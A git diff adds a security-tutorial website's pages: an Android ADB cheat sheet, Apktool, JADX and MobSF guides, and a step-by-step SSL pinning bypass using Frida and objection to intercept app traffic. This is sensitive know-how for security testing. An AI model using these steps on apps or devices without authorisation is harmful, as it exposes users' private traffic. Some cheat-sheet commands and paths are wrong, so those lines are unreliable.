diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 000000000..e69de29bb diff --git a/3os-preview.png b/3os-preview.png new file mode 100644 index 000000000..e0661a6a6 Binary files /dev/null and b/3os-preview.png differ diff --git a/404.html b/404.html new file mode 100644 index 000000000..198fcb963 --- /dev/null +++ b/404.html @@ -0,0 +1,137 @@ + 3os

404 - Not found

\ No newline at end of file diff --git a/CNAME b/CNAME new file mode 100644 index 000000000..218174d8a --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +3os.org diff --git a/ads.txt b/ads.txt new file mode 100644 index 000000000..b1a0679a3 --- /dev/null +++ b/ads.txt @@ -0,0 +1 @@ +google.com, pub-5886334466795247, DIRECT, f08c47fec0942fa0 \ No newline at end of file diff --git a/android/adb-cheat-sheet/index.html b/android/adb-cheat-sheet/index.html new file mode 100644 index 000000000..e52ef8b1e --- /dev/null +++ b/android/adb-cheat-sheet/index.html @@ -0,0 +1,174 @@ + ADB Cheat Sheet - 3os
Skip to content
Authors: fire1ce, TalonWay, bikalpa | Created: 2021-09-12 | Last update: 2023-10-15

Android ADB Cheat Sheet

ADB, Android Debug Bridge, is a command-line utility included with Google's Android SDK. ADB can control your device over USB from a computer, copy files back and forth, install and uninstall apps, run shell commands, and more. ADB is a powerful tool that can be used to control your Android device from a computer. Below are some of the most common commands you can use with ADB and their usage. You can find more information about ADB and its usage by visiting the official website.

Common ADB Commands

Push a file to Download folder of the Android Device

adb push example.apk /mnt/sdcard/Download/
+

Lists all the installed packages and get the full paths

adb shell pm list packages -f
+

Pulls a file from android device

adb pull /mnt/sdcard/Download/example.apk
+

Install apk from host to Android device

adb shell install example.apk
+

Install apk from Android device storage

adb shell install /mnt/sdcard/Download/example.apk
+

Set network proxy

adb shell settings put global http_proxy <address>:<port>
+

Disable network proxy

adb shell settings put global http_proxy :0
+

ADB Basics Commands

Command Description
adb devices Lists connected devices
adb connect 192.168.2.1 Connects to adb device over network
adb root Restarts adbd with root permissions
adb start-server Starts the adb server
adb kill-server Kills the adb server
adb reboot Reboots the device
adb devices -l List of devices by product/model
adb -s <deviceName> <command> Redirect command to specific device
adb –d <command> Directs command to only attached USB device
adb –e <command> Directs command to only attached emulator

Logs

Command Description
adb logcat [options] [filter] [filter] View device log
adb bugreport Print bug reports

Permissions

Command Description
adb shell permissions groups List permission groups definitions
adb shell list permissions -g -r List permissions details

Package Installation

Command Description
adb shell install <apk> Install app
adb shell install <path> Install app from phone path
adb shell install -r <path> Install app from phone path
adb shell uninstall <name> Remove the app

Paths

Command Description
/data/data/<package name>/databases App databases
/data/data/<package name>/shared_prefs/ Shared preferences
/mnt/sdcard/Download/ Download folder
/data/app Apk installed by user
/system/app Pre-installed APK files
/mmt/asec Encrypted apps (App2SD)
/mmt/emmc Internal SD Card
/mmt/adcard External/Internal SD Card
/mmt/adcard/external_sd External SD Card
------- -----------
adb shell ls List directory contents
adb shell ls -s Print size of each file
adb shell ls -R List subdirectories recursively
adb shell pm path <package name> Get full path of a package
adb shell pm list packages -f Lists all the packages and full paths

File Operations

Command Description
adb push <local> <remote> Copy file/dir to device
adb pull <remote> <local> Copy file/dir from device
run-as <package> cat <file> Access the private package files

Phone Info

Command Description
adb get-statе Print device state
adb get-serialno Get the serial number
adb shell dumpsys iphonesybinfo Get the IMEI
adb shell netstat List TCP connectivity
adb shell pwd Print current working directory
adb shell dumpsys battery Battery status
adb shell pm list features List phone features
adb shell service list List all services
adb shell dumpsys activity <package>/<activity> Activity info
adb shell ps Print process status
adb shell wm size Displays the current screen resolution

Package Info

Command Description
adb shell list packages Lists package names
adb shell list packages -r Lists package name + path to apks
adb shell list packages -3 Lists third party package names
adb shell list packages -s Lists only system packages
adb shell list packages -u Lists package names + uninstalled
adb shell dumpsys package packages Lists info on all apps
adb shell dump <name> Lists info on one package
adb shell path <package> Path to the apk file
Command Description
adb reboot recovery Reboot device into recovery mode
adb reboot fastboot Reboot device into recovery mode
adb shell screencap -p "/path/to/screenshot.png" Capture screenshot
adb shell screenrecord "/path/to/record.mp4" Record device screen
adb backup -apk -all -f backup.ab Backup settings and apps
adb backup -apk -shared -all -f backup.ab Backup settings, apps and shared storage
adb backup -apk -nosystem -all -f backup.ab Backup only non-system apps
adb restore backup.ab Restore a previous backup
------- -----------
adb shell am start -a android.intent.action.VIEW -d URL Opens URL
adb shell am start -t image/* -a android.intent.action.VIEW Opens gallery

Comments

\ No newline at end of file diff --git a/android/apktool/index.html b/android/apktool/index.html new file mode 100644 index 000000000..95f845e2b --- /dev/null +++ b/android/apktool/index.html @@ -0,0 +1,170 @@ + Apktool - 3os
Skip to content

Support us

Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-03-24

Android Apktool for Reverse Engineering

A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. It also makes working with an app easier because of the project like file structure and automation of some repetitive tasks like building apk, etc.

It is NOT intended for piracy and other non-legal uses. It could be used for localizing, adding some features or support for custom platforms, analyzing applications and much more.

Download and Documentation

Official Apktool Website

How to Sign APK After Compile

In order to install modified APK on Android device, you need to sign it with a certificate. Android APK won't be signed by default. You need to sign it manually.

Install apksigner

apt install -y apksigner
+

Create certificate at the same folder you've compiled your modified APK

keytool -genkey -v -keystore keystore.jks -keyalg RSA -keysize 2048 -validity 10000
+

Enter A password (we will need it to singe the APK), enter any data you wish for the certificate information. At the end enter 'y' at the end to create the certificate.

Now we should have 2 files: your.apk, keystore.jks. The only step left is to singe the APK with new certificate.

apksigner sign --ks keystore.jks your.apk
+

When installing the APK you will be prompted with a warning of "unknown certificate" just hit Install.

Comments

\ No newline at end of file diff --git a/android/applications/index.html b/android/applications/index.html new file mode 100644 index 000000000..5062927c9 --- /dev/null +++ b/android/applications/index.html @@ -0,0 +1,167 @@ + PT Application - 3os
Skip to content

Support us

Authors: fire1ce | Created: 2022-03-15 | Last update: 2022-03-24

Penetration Testing Application for Android

List for Android penetration testing applications and tools that can be used to aid in penetration testing. The following are the most commonly used applications. Feel free to suggest new applications and tools at comments section below.

List of Android Penetration Testing Tools and Applications

Comments

\ No newline at end of file diff --git a/android/jadx-decompiler/index.html b/android/jadx-decompiler/index.html new file mode 100644 index 000000000..cfc69e50c --- /dev/null +++ b/android/jadx-decompiler/index.html @@ -0,0 +1,278 @@ + JADX Decompiler - 3os
Skip to content

Support us

Authors: fire1ce | Created: 2022-08-05 | Last update: 2022-08-05

JADX - Dex to Java Decompiler

Github Repository: skylot-jadx

About JADX

Command line and GUI tools for producing Java source code from Android Dex and Apk files

â—â—â— Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds

Main features:

  • decompile Dalvik bytecode to java classes from APK, dex, aar, aab and zip files
  • decode AndroidManifest.xml and other resources from resources.arsc
  • deobfuscator included

jadx-gui features:

  • view decompiled code with highlighted syntax
  • jump to declaration
  • find usage
  • full text search
  • smali debugger, check wiki page for setup and usage

Jadx-gui key bindings can be found here

See these features in action here: jadx-gui features overview

Download

After download unpack zip file go to bin directory and run: - jadx - command line version - jadx-gui - UI version

On Windows run .bat files with double-click\ Note: ensure you have installed Java 11 or later 64-bit version. For Windows, you can download it from oracle.com (select x64 Installer).

Installation

  1. Arch linux Arch Linux package
    sudo pacman -S jadx
    +
  2. macOS homebrew version
    brew install jadx
    +
  3. Flathub Flathub
    flatpak install flathub com.github.skylot.jadx
    +

Usage

jadx[-gui] [command] [options] <input files> (.apk, .dex, .jar, .class, .smali, .zip, .aar, .arsc, .aab)
+commands (use '<command> --help' for command options):
+  plugins     - manage jadx plugins
+
+options:
+  -d, --output-dir                    - output directory
+  -ds, --output-dir-src               - output directory for sources
+  -dr, --output-dir-res               - output directory for resources
+  -r, --no-res                        - do not decode resources
+  -s, --no-src                        - do not decompile source code
+  --single-class                      - decompile a single class, full name, raw or alias
+  --single-class-output               - file or dir for write if decompile a single class
+  --output-format                     - can be 'java' or 'json', default: java
+  -e, --export-gradle                 - save as android gradle project
+  -j, --threads-count                 - processing threads count, default: 4
+  -m, --decompilation-mode            - code output mode:
+                                         'auto' - trying best options (default)
+                                         'restructure' - restore code structure (normal java code)
+                                         'simple' - simplified instructions (linear, with goto's)
+                                         'fallback' - raw instructions without modifications
+  --show-bad-code                     - show inconsistent code (incorrectly decompiled)
+  --no-imports                        - disable use of imports, always write entire package name
+  --no-debug-info                     - disable debug info parsing and processing
+  --add-debug-lines                   - add comments with debug line numbers if available
+  --no-inline-anonymous               - disable anonymous classes inline
+  --no-inline-methods                 - disable methods inline
+  --no-move-inner-classes             - disable move inner classes into parent
+  --no-inline-kotlin-lambda           - disable inline for Kotlin lambdas
+  --no-finally                        - don't extract finally block
+  --no-replace-consts                 - don't replace constant value with matching constant field
+  --escape-unicode                    - escape non latin characters in strings (with \u)
+  --respect-bytecode-access-modifiers - don't change original access modifiers
+  --mappings-path                     - deobfuscation mappings file or directory. Allowed formats: Tiny and Tiny v2 (both '.tiny'), Enigma (.mapping) or Enigma directory
+  --mappings-mode                     - set mode for handling the deobfuscation mapping file:
+                                         'read' - just read, user can always save manually (default)
+                                         'read-and-autosave-every-change' - read and autosave after every change
+                                         'read-and-autosave-before-closing' - read and autosave before exiting the app or closing the project
+                                         'ignore' - don't read or save (can be used to skip loading mapping files referenced in the project file)
+  --deobf                             - activate deobfuscation
+  --deobf-min                         - min length of name, renamed if shorter, default: 3
+  --deobf-max                         - max length of name, renamed if longer, default: 64
+  --deobf-whitelist                   - space separated list of classes (full name) and packages (ends with '.*') to exclude from deobfuscation, default: android.support.v4.* android.support.v7.* android.support.v4.os.* android.support.annotation.Px androidx.core.os.* androidx.annotation.Px
+  --deobf-cfg-file                    - deobfuscation mappings file used for JADX auto-generated names (in the JOBF file format), default: same dir and name as input file with '.jobf' extension
+  --deobf-cfg-file-mode               - set mode for handling the JADX auto-generated names' deobfuscation map file:
+                                         'read' - read if found, don't save (default)
+                                         'read-or-save' - read if found, save otherwise (don't overwrite)
+                                         'overwrite' - don't read, always save
+                                         'ignore' - don't read and don't save
+  --deobf-use-sourcename              - use source file name as class name alias
+  --deobf-res-name-source             - better name source for resources:
+                                         'auto' - automatically select best name (default)
+                                         'resources' - use resources names
+                                         'code' - use R class fields names
+  --use-kotlin-methods-for-var-names  - use kotlin intrinsic methods to rename variables, values: disable, apply, apply-and-hide, default: apply
+  --rename-flags                      - fix options (comma-separated list of):
+                                         'case' - fix case sensitivity issues (according to --fs-case-sensitive option),
+                                         'valid' - rename java identifiers to make them valid,
+                                         'printable' - remove non-printable chars from identifiers,
+                                        or single 'none' - to disable all renames
+                                        or single 'all' - to enable all (default)
+  --integer-format                    - how integers are displayed:
+                                         'auto' - automatically select (default)
+                                         'decimal' - use decimal
+                                         'hexadecimal' - use hexadecimal
+  --fs-case-sensitive                 - treat filesystem as case sensitive, false by default
+  --cfg                               - save methods control flow graph to dot file
+  --raw-cfg                           - save methods control flow graph (use raw instructions)
+  -f, --fallback                      - set '--decompilation-mode' to 'fallback' (deprecated)
+  --use-dx                            - use dx/d8 to convert java bytecode
+  --comments-level                    - set code comments level, values: error, warn, info, debug, user-only, none, default: info
+  --log-level                         - set log level, values: quiet, progress, error, warn, info, debug, default: progress
+  -v, --verbose                       - verbose output (set --log-level to DEBUG)
+  -q, --quiet                         - turn off output (set --log-level to QUIET)
+  --version                           - print jadx version
+  -h, --help                          - print this help
+
+Plugin options (-P<name>=<value>):
+ 1) dex-input: Load .dex and .apk files
+    - dex-input.verify-checksum       - verify dex file checksum before load, values: [yes, no], default: yes
+ 2) java-convert: Convert .class, .jar and .aar files to dex
+    - java-convert.mode               - convert mode, values: [dx, d8, both], default: both
+    - java-convert.d8-desugar         - use desugar in d8, values: [yes, no], default: no
+ 3) kotlin-metadata: Use kotlin.Metadata annotation for code generation
+    - kotlin-metadata.class-alias     - rename class alias, values: [yes, no], default: yes
+    - kotlin-metadata.method-args     - rename function arguments, values: [yes, no], default: yes
+    - kotlin-metadata.fields          - rename fields, values: [yes, no], default: yes
+    - kotlin-metadata.companion       - rename companion object, values: [yes, no], default: yes
+    - kotlin-metadata.data-class      - add data class modifier, values: [yes, no], default: yes
+    - kotlin-metadata.to-string       - rename fields using toString, values: [yes, no], default: yes
+    - kotlin-metadata.getters         - rename simple getters to field names, values: [yes, no], default: yes
+ 4) rename-mappings: various mappings support
+    - rename-mappings.format          - mapping format, values: [auto, TINY, TINY_2, ENIGMA, ENIGMA_DIR, MCP, SRG, TSRG, TSRG2, PROGUARD], default: auto
+    - rename-mappings.invert          - invert mapping, values: [yes, no], default: no
+
+Environment variables:
+  JADX_DISABLE_ZIP_SECURITY - set to 'true' to disable all security checks for zip files
+  JADX_ZIP_MAX_ENTRIES_COUNT - maximum allowed number of entries in zip files (default: 100 000)
+  JADX_TMP_DIR - custom temp directory, using system by default
+
+Examples:
+  jadx -d out classes.dex
+  jadx --rename-flags "none" classes.dex
+  jadx --rename-flags "valid, printable" classes.dex
+  jadx --log-level ERROR app.apk
+  jadx -Pdex-input.verify-checksum=no app.apk
+
These options also worked on jadx-gui running from command line and override options from preferences dialog

Use jadx as a Library

You can use jadx in your java projects, check details on wiki page

Comments

\ No newline at end of file diff --git a/android/mobsf/index.html b/android/mobsf/index.html new file mode 100644 index 000000000..a31c9994c --- /dev/null +++ b/android/mobsf/index.html @@ -0,0 +1,191 @@ + MobSF - 3os
Skip to content

Support us

Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-03-24

Mobile Security Framework (MobSF)

Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. MobSF support mobile app binaries (APK, XAPK, IPA & APPX) along with zipped source code and provides REST APIs for seamless integration with your CI/CD or DevSecOps pipeline.The Dynamic Analyzer helps you to perform runtime security assessment and interactive instrumented testing.

Follow the projet at github: MobSF/Mobile-Security-Framework-MobSF

mobsf webgui

Running MobSF as Docker

Below is a docker run command for running MobSF as a Docker container.

docker run \
+-d \
+-it \
+-v /root/tools/mobSF:/root/.MobSF \
+-h mobsf \
+--name mobsf \
+--restart always \
+-p 8005:8000 \
+opensecurity/mobile-security-framework-mobsf:latest
+

docker compose example for docker-compose.yml:

version: '2.4'
+
+services:
+  mobsf:
+    image: opensecurity/mobile-security-framework-mobsf
+    container_name: mobsf
+    hostname: mobsf
+    restart: always
+    network_mode: bridge
+    volumes:
+      - ./:/root/.MobSF
+      - /etc/localtime:/etc/localtime
+    ports:
+      - '1337:1337'
+      - '8000:8000'
+

Comments

\ No newline at end of file diff --git a/android/ssl-pinning-bypass/index.html b/android/ssl-pinning-bypass/index.html new file mode 100644 index 000000000..f03d69b9a --- /dev/null +++ b/android/ssl-pinning-bypass/index.html @@ -0,0 +1,178 @@ + SSL Pinning Bypass - 3os
Skip to content

Support us

Authors: fire1ce | Created: 2022-03-15 | Last update: 2022-03-24

Android SSL Pinning Bypass with Frida

Whats SSL Pinning?

Android app establishes an HTTPS connection, it checks the issuer of the server's certificate against the internal list of trusted Android system certificate authorities to make sure it is communicating with a trusted server. This is called SSL Pinning. If the server's certificate is not in the list of trusted certificates, the app won't be able to communicate with the server.

Whats Frida?

Frida is dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. It is a powerful tool that allows you to modify Android applications and libraries without having to recompile them.

Requirements

  • Rooted Adnroid Phone
  • Python 3
  • pip(pip3)

Installation

Install Frida framework, objection to your host os.

pip install frida-tools
+pip install objection
+

Download the proper version from: Frida Server Downloads

Danger

Make sure to download the proper version of Frida Server for your Android cpu architecture. Alwasys use the latest version of Frida Server and frida-tools

Extract and rename the file to frida-server
Move the file to the Adnroid Phone to /data/local/tmp/

Usage

Connect to adb shell to the android device

For more inforatmati

adb shell
+

Change user to Root

su
+

Make sure you are running as root with the folowing command:

whoami
+

Change permissions to the /data/local/tmp/frida-server to be able to run the server

chmod 755 /data/local/tmp/frida-server
+

Run the Frida Server in background:

/data/local/tmp/frida-server
+

Warning

Do no close the terminal - this will stop the Frida Server

Go Back to host's terminal
List all the Applications and find the name of the desired application you want to by bypass SSL Pinning

frida-ps -Ua
+

Now Run with the name of the application

objection -g c**********n explore -q
+

Now remove the SSL Pining with

android sslpinning disable
+

Set Proxy for Applciation with frida and objection

android proxy set 192.168.5.102 8081
+

Comments

\ No newline at end of file diff --git a/assets/favicon.ico b/assets/favicon.ico new file mode 100644 index 000000000..fb7dad0af Binary files /dev/null and b/assets/favicon.ico differ diff --git a/assets/favicon.png b/assets/favicon.png new file mode 100644 index 000000000..ee0475a5e Binary files /dev/null and b/assets/favicon.png differ diff --git a/assets/images/031314a0-c252-11ec-92e3-cb7e2b4fcc57.jpg b/assets/images/031314a0-c252-11ec-92e3-cb7e2b4fcc57.jpg new file mode 100644 index 000000000..a8b018ae9 Binary files /dev/null and b/assets/images/031314a0-c252-11ec-92e3-cb7e2b4fcc57.jpg differ diff --git a/assets/images/04c8614e-c255-11ec-979b-f3e490973775.jpg b/assets/images/04c8614e-c255-11ec-979b-f3e490973775.jpg new file mode 100644 index 000000000..a396ba0af Binary files /dev/null and b/assets/images/04c8614e-c255-11ec-979b-f3e490973775.jpg differ diff --git a/assets/images/0a0eab1c-af69-11ec-98a4-730471f7a7a3.jpg b/assets/images/0a0eab1c-af69-11ec-98a4-730471f7a7a3.jpg new file mode 100644 index 000000000..3d294f30d Binary files /dev/null and b/assets/images/0a0eab1c-af69-11ec-98a4-730471f7a7a3.jpg differ diff --git a/assets/images/0bafb0da-c18c-11ec-a0f0-db42d5ba669d.jpg b/assets/images/0bafb0da-c18c-11ec-a0f0-db42d5ba669d.jpg new file mode 100644 index 000000000..908e2c3d4 Binary files /dev/null and b/assets/images/0bafb0da-c18c-11ec-a0f0-db42d5ba669d.jpg differ diff --git a/assets/images/0bb26720-bc42-11ec-97d5-0f6751fb6075.jpg b/assets/images/0bb26720-bc42-11ec-97d5-0f6751fb6075.jpg new file mode 100644 index 000000000..9794efb5b Binary files /dev/null and b/assets/images/0bb26720-bc42-11ec-97d5-0f6751fb6075.jpg differ diff --git a/assets/images/0cb9368c-b772-11ec-a35a-3fa89c0a4607.jpg b/assets/images/0cb9368c-b772-11ec-a35a-3fa89c0a4607.jpg new file mode 100644 index 000000000..a0f0deb68 Binary files /dev/null and b/assets/images/0cb9368c-b772-11ec-a35a-3fa89c0a4607.jpg differ diff --git a/assets/images/0e1913a6-0616-11ed-872f-4f150aadb6cd.jpg b/assets/images/0e1913a6-0616-11ed-872f-4f150aadb6cd.jpg new file mode 100644 index 000000000..f6972c3c3 Binary files /dev/null and b/assets/images/0e1913a6-0616-11ed-872f-4f150aadb6cd.jpg differ diff --git a/assets/images/1005eba0-efb2-11ec-ae3d-93f62b51db08.jpg b/assets/images/1005eba0-efb2-11ec-ae3d-93f62b51db08.jpg new file mode 100644 index 000000000..8f7608d0a Binary files /dev/null and b/assets/images/1005eba0-efb2-11ec-ae3d-93f62b51db08.jpg differ diff --git a/assets/images/127b5a6c-b779-11ec-bb2c-236d4508c9e3.jpg b/assets/images/127b5a6c-b779-11ec-bb2c-236d4508c9e3.jpg new file mode 100644 index 000000000..a16a8f9f7 Binary files /dev/null and b/assets/images/127b5a6c-b779-11ec-bb2c-236d4508c9e3.jpg differ diff --git a/assets/images/12abb258-b76e-11ec-9cef-0b6c199a1aed.jpg b/assets/images/12abb258-b76e-11ec-9cef-0b6c199a1aed.jpg new file mode 100644 index 000000000..0e64a3aa2 Binary files /dev/null and b/assets/images/12abb258-b76e-11ec-9cef-0b6c199a1aed.jpg differ diff --git a/assets/images/13d3484a-be39-11ec-9c17-d311291bdb58.jpg b/assets/images/13d3484a-be39-11ec-9c17-d311291bdb58.jpg new file mode 100644 index 000000000..0d4f916ce Binary files /dev/null and b/assets/images/13d3484a-be39-11ec-9c17-d311291bdb58.jpg differ diff --git a/assets/images/157b55e8-be3e-11ec-a2c2-97d25fe194df.jpg b/assets/images/157b55e8-be3e-11ec-a2c2-97d25fe194df.jpg new file mode 100644 index 000000000..3f057c879 Binary files /dev/null and b/assets/images/157b55e8-be3e-11ec-a2c2-97d25fe194df.jpg differ diff --git a/assets/images/17e6d3ea-c256-11ec-a060-037aafbf469f.jpg b/assets/images/17e6d3ea-c256-11ec-a060-037aafbf469f.jpg new file mode 100644 index 000000000..a1ea3220c Binary files /dev/null and b/assets/images/17e6d3ea-c256-11ec-a060-037aafbf469f.jpg differ diff --git a/assets/images/19bbed86-bc34-11ec-bdef-d76764bad4d0.jpg b/assets/images/19bbed86-bc34-11ec-bdef-d76764bad4d0.jpg new file mode 100644 index 000000000..299667ae2 Binary files /dev/null and b/assets/images/19bbed86-bc34-11ec-bdef-d76764bad4d0.jpg differ diff --git a/assets/images/1b3e614e-ecad-11ec-b07c-3f92ba17e602.jpg b/assets/images/1b3e614e-ecad-11ec-b07c-3f92ba17e602.jpg new file mode 100644 index 000000000..8c10169bb Binary files /dev/null and b/assets/images/1b3e614e-ecad-11ec-b07c-3f92ba17e602.jpg differ diff --git a/assets/images/1bb4b41e-bdb1-11ec-9af2-4b05eacea61c.jpg b/assets/images/1bb4b41e-bdb1-11ec-9af2-4b05eacea61c.jpg new file mode 100644 index 000000000..7df1784b4 Binary files /dev/null and b/assets/images/1bb4b41e-bdb1-11ec-9af2-4b05eacea61c.jpg differ diff --git a/assets/images/1c537a72-f899-11ec-a56f-4fe05b7a77a5.jpeg b/assets/images/1c537a72-f899-11ec-a56f-4fe05b7a77a5.jpeg new file mode 100644 index 000000000..6ee760826 Binary files /dev/null and b/assets/images/1c537a72-f899-11ec-a56f-4fe05b7a77a5.jpeg differ diff --git a/assets/images/1ee15c1c-bd9a-11ec-926f-3b1ee33b95ee.jpg b/assets/images/1ee15c1c-bd9a-11ec-926f-3b1ee33b95ee.jpg new file mode 100644 index 000000000..c34d168f3 Binary files /dev/null and b/assets/images/1ee15c1c-bd9a-11ec-926f-3b1ee33b95ee.jpg differ diff --git a/assets/images/1f5e958c-c3cc-11ec-9baa-43c39fc35135.JPG b/assets/images/1f5e958c-c3cc-11ec-9baa-43c39fc35135.JPG new file mode 100644 index 000000000..6af128bf8 Binary files /dev/null and b/assets/images/1f5e958c-c3cc-11ec-9baa-43c39fc35135.JPG differ diff --git a/assets/images/24c2ddfa-f566-11ec-b270-871b30f0c3d5.jpg b/assets/images/24c2ddfa-f566-11ec-b270-871b30f0c3d5.jpg new file mode 100644 index 000000000..604ad3b83 Binary files /dev/null and b/assets/images/24c2ddfa-f566-11ec-b270-871b30f0c3d5.jpg differ diff --git a/assets/images/25e25254-af59-11ec-a2d8-d34524b71112.jpg b/assets/images/25e25254-af59-11ec-a2d8-d34524b71112.jpg new file mode 100644 index 000000000..ebd178341 Binary files /dev/null and b/assets/images/25e25254-af59-11ec-a2d8-d34524b71112.jpg differ diff --git a/assets/images/2cc5a724-af59-11ec-871c-d7053f648ffc.jpg b/assets/images/2cc5a724-af59-11ec-871c-d7053f648ffc.jpg new file mode 100644 index 000000000..eb6b8529a Binary files /dev/null and b/assets/images/2cc5a724-af59-11ec-871c-d7053f648ffc.jpg differ diff --git a/assets/images/2cf3d69c-bd89-11ec-af8c-67974c4ba3f0.jpg b/assets/images/2cf3d69c-bd89-11ec-af8c-67974c4ba3f0.jpg new file mode 100644 index 000000000..64603fad4 Binary files /dev/null and b/assets/images/2cf3d69c-bd89-11ec-af8c-67974c4ba3f0.jpg differ diff --git a/assets/images/2d14d750-b76e-11ec-a162-8fdcd6a128d5.jpg b/assets/images/2d14d750-b76e-11ec-a162-8fdcd6a128d5.jpg new file mode 100644 index 000000000..653996211 Binary files /dev/null and b/assets/images/2d14d750-b76e-11ec-a162-8fdcd6a128d5.jpg differ diff --git a/assets/images/2f6d84ee-b772-11ec-b3e9-1ba14d36ea3d.jpg b/assets/images/2f6d84ee-b772-11ec-b3e9-1ba14d36ea3d.jpg new file mode 100644 index 000000000..116246550 Binary files /dev/null and b/assets/images/2f6d84ee-b772-11ec-b3e9-1ba14d36ea3d.jpg differ diff --git a/assets/images/3015a794-af59-11ec-b015-930e45647512.jpg b/assets/images/3015a794-af59-11ec-b015-930e45647512.jpg new file mode 100644 index 000000000..7481bb2fd Binary files /dev/null and b/assets/images/3015a794-af59-11ec-b015-930e45647512.jpg differ diff --git a/assets/images/334cb53a-ef2b-11ec-ab52-ebf010b57462.jpg b/assets/images/334cb53a-ef2b-11ec-ab52-ebf010b57462.jpg new file mode 100644 index 000000000..f3354af23 Binary files /dev/null and b/assets/images/334cb53a-ef2b-11ec-ab52-ebf010b57462.jpg differ diff --git a/assets/images/35d878a6-c254-11ec-82e1-e7b3b5d34983.jpg b/assets/images/35d878a6-c254-11ec-82e1-e7b3b5d34983.jpg new file mode 100644 index 000000000..bc554c999 Binary files /dev/null and b/assets/images/35d878a6-c254-11ec-82e1-e7b3b5d34983.jpg differ diff --git a/assets/images/375ed1c8-bd8d-11ec-94c6-cf0bac60954a.jpg b/assets/images/375ed1c8-bd8d-11ec-94c6-cf0bac60954a.jpg new file mode 100644 index 000000000..417611616 Binary files /dev/null and b/assets/images/375ed1c8-bd8d-11ec-94c6-cf0bac60954a.jpg differ diff --git a/assets/images/3802e9b8-bd8b-11ec-a4ba-8305e0d2d682.jpg b/assets/images/3802e9b8-bd8b-11ec-a4ba-8305e0d2d682.jpg new file mode 100644 index 000000000..aea711b18 Binary files /dev/null and b/assets/images/3802e9b8-bd8b-11ec-a4ba-8305e0d2d682.jpg differ diff --git a/assets/images/38e8b558-c171-11ec-90fd-b729b54a6117.jpeg b/assets/images/38e8b558-c171-11ec-90fd-b729b54a6117.jpeg new file mode 100644 index 000000000..02312a354 Binary files /dev/null and b/assets/images/38e8b558-c171-11ec-90fd-b729b54a6117.jpeg differ diff --git a/assets/images/393f9ce0-bc41-11ec-976a-cb1d91990157.jpg b/assets/images/393f9ce0-bc41-11ec-976a-cb1d91990157.jpg new file mode 100644 index 000000000..d31a45a4d Binary files /dev/null and b/assets/images/393f9ce0-bc41-11ec-976a-cb1d91990157.jpg differ diff --git a/assets/images/395b61d0-b77a-11ec-a996-03961ee417ee.jpg b/assets/images/395b61d0-b77a-11ec-a996-03961ee417ee.jpg new file mode 100644 index 000000000..b31a02a5e Binary files /dev/null and b/assets/images/395b61d0-b77a-11ec-a996-03961ee417ee.jpg differ diff --git a/assets/images/3d942380-be3d-11ec-99fc-0778f9dc8acd.jpg b/assets/images/3d942380-be3d-11ec-99fc-0778f9dc8acd.jpg new file mode 100644 index 000000000..3ac897fdf Binary files /dev/null and b/assets/images/3d942380-be3d-11ec-99fc-0778f9dc8acd.jpg differ diff --git a/assets/images/3fa4685c-c17a-11ec-94bb-b32aa327a5b7.jpg b/assets/images/3fa4685c-c17a-11ec-94bb-b32aa327a5b7.jpg new file mode 100644 index 000000000..967661a8b Binary files /dev/null and b/assets/images/3fa4685c-c17a-11ec-94bb-b32aa327a5b7.jpg differ diff --git a/assets/images/448ea1b0-c17b-11ec-a195-77168778849d.jpg b/assets/images/448ea1b0-c17b-11ec-a195-77168778849d.jpg new file mode 100644 index 000000000..3ab84e669 Binary files /dev/null and b/assets/images/448ea1b0-c17b-11ec-a195-77168778849d.jpg differ diff --git a/assets/images/4549ec48-b76e-11ec-8cfb-bb73f934b0a5.jpg b/assets/images/4549ec48-b76e-11ec-8cfb-bb73f934b0a5.jpg new file mode 100644 index 000000000..e586802dc Binary files /dev/null and b/assets/images/4549ec48-b76e-11ec-8cfb-bb73f934b0a5.jpg differ diff --git a/assets/images/496fa0ba-b91c-11ec-bcb5-3759896bab7f.jpg b/assets/images/496fa0ba-b91c-11ec-bcb5-3759896bab7f.jpg new file mode 100644 index 000000000..1be3669d9 Binary files /dev/null and b/assets/images/496fa0ba-b91c-11ec-bcb5-3759896bab7f.jpg differ diff --git a/assets/images/4971f070-b76b-11ec-b355-8bac95dc3464.jpg b/assets/images/4971f070-b76b-11ec-b355-8bac95dc3464.jpg new file mode 100644 index 000000000..633c20682 Binary files /dev/null and b/assets/images/4971f070-b76b-11ec-b355-8bac95dc3464.jpg differ diff --git a/assets/images/4b56c486-c190-11ec-8406-5b42a0c9b07a.jpg b/assets/images/4b56c486-c190-11ec-8406-5b42a0c9b07a.jpg new file mode 100644 index 000000000..e63ac5aad Binary files /dev/null and b/assets/images/4b56c486-c190-11ec-8406-5b42a0c9b07a.jpg differ diff --git a/assets/images/4d3df9bc-af5d-11ec-a87a-2316e20585af.jpg b/assets/images/4d3df9bc-af5d-11ec-a87a-2316e20585af.jpg new file mode 100644 index 000000000..8ed7880f0 Binary files /dev/null and b/assets/images/4d3df9bc-af5d-11ec-a87a-2316e20585af.jpg differ diff --git a/assets/images/4dc679d8-be3d-11ec-8ef7-03c9f9ba3344.jpg b/assets/images/4dc679d8-be3d-11ec-8ef7-03c9f9ba3344.jpg new file mode 100644 index 000000000..d50b29035 Binary files /dev/null and b/assets/images/4dc679d8-be3d-11ec-8ef7-03c9f9ba3344.jpg differ diff --git a/assets/images/52b4fd94-af55-11ec-b32c-2777b3838de6.jpg b/assets/images/52b4fd94-af55-11ec-b32c-2777b3838de6.jpg new file mode 100644 index 000000000..902cadda2 Binary files /dev/null and b/assets/images/52b4fd94-af55-11ec-b32c-2777b3838de6.jpg differ diff --git a/assets/images/542c7a30-bd9c-11ec-848e-932ce851a8c3.jpg b/assets/images/542c7a30-bd9c-11ec-848e-932ce851a8c3.jpg new file mode 100644 index 000000000..557ecae1a Binary files /dev/null and b/assets/images/542c7a30-bd9c-11ec-848e-932ce851a8c3.jpg differ diff --git a/assets/images/58a43cfe-ab60-11ec-aa76-bf689f051be2.jpg b/assets/images/58a43cfe-ab60-11ec-aa76-bf689f051be2.jpg new file mode 100644 index 000000000..a19f4ecf2 